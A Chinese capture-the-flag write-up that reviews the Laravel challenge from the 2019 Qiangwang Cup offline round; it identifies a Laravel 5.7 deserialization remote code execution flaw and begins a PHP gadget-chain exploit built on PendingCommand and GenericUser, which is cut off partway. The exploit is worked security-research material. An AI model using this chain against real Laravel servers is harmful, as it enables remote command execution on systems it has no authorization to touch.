本篇文章记录了2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c

laravel

先通过如下命令将 Web 网站搭起来,通过查看 composer.json 文件可知该网站采用了 Laravel 5.7 版本框架。如果有关注过 Laravel 的漏洞,应该知道该版本的 Laravel 存在一个远程代码执行漏洞,我们继续看代码部分。

➜  laravel-5.7 composer install
➜  laravel-5.7 php -S 0.0.0.0:8000 -t public

框架的路由也不多,找到对应的控制器,发现明显是一个反序列化漏洞,估计就是利用反序列化进行代码执行了。

直接通过 CVE 就能找到相关漏洞分析文章,虽然作者删了原文,但是还是可以通过 google 快照找到 EXP

该漏洞主要是利用了 Illuminate\Foundation\Testing\PendingCommand 类的 run 方法来执行命令,具体漏洞的分析见下篇文章。我们可以构造 EXP 如下:

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖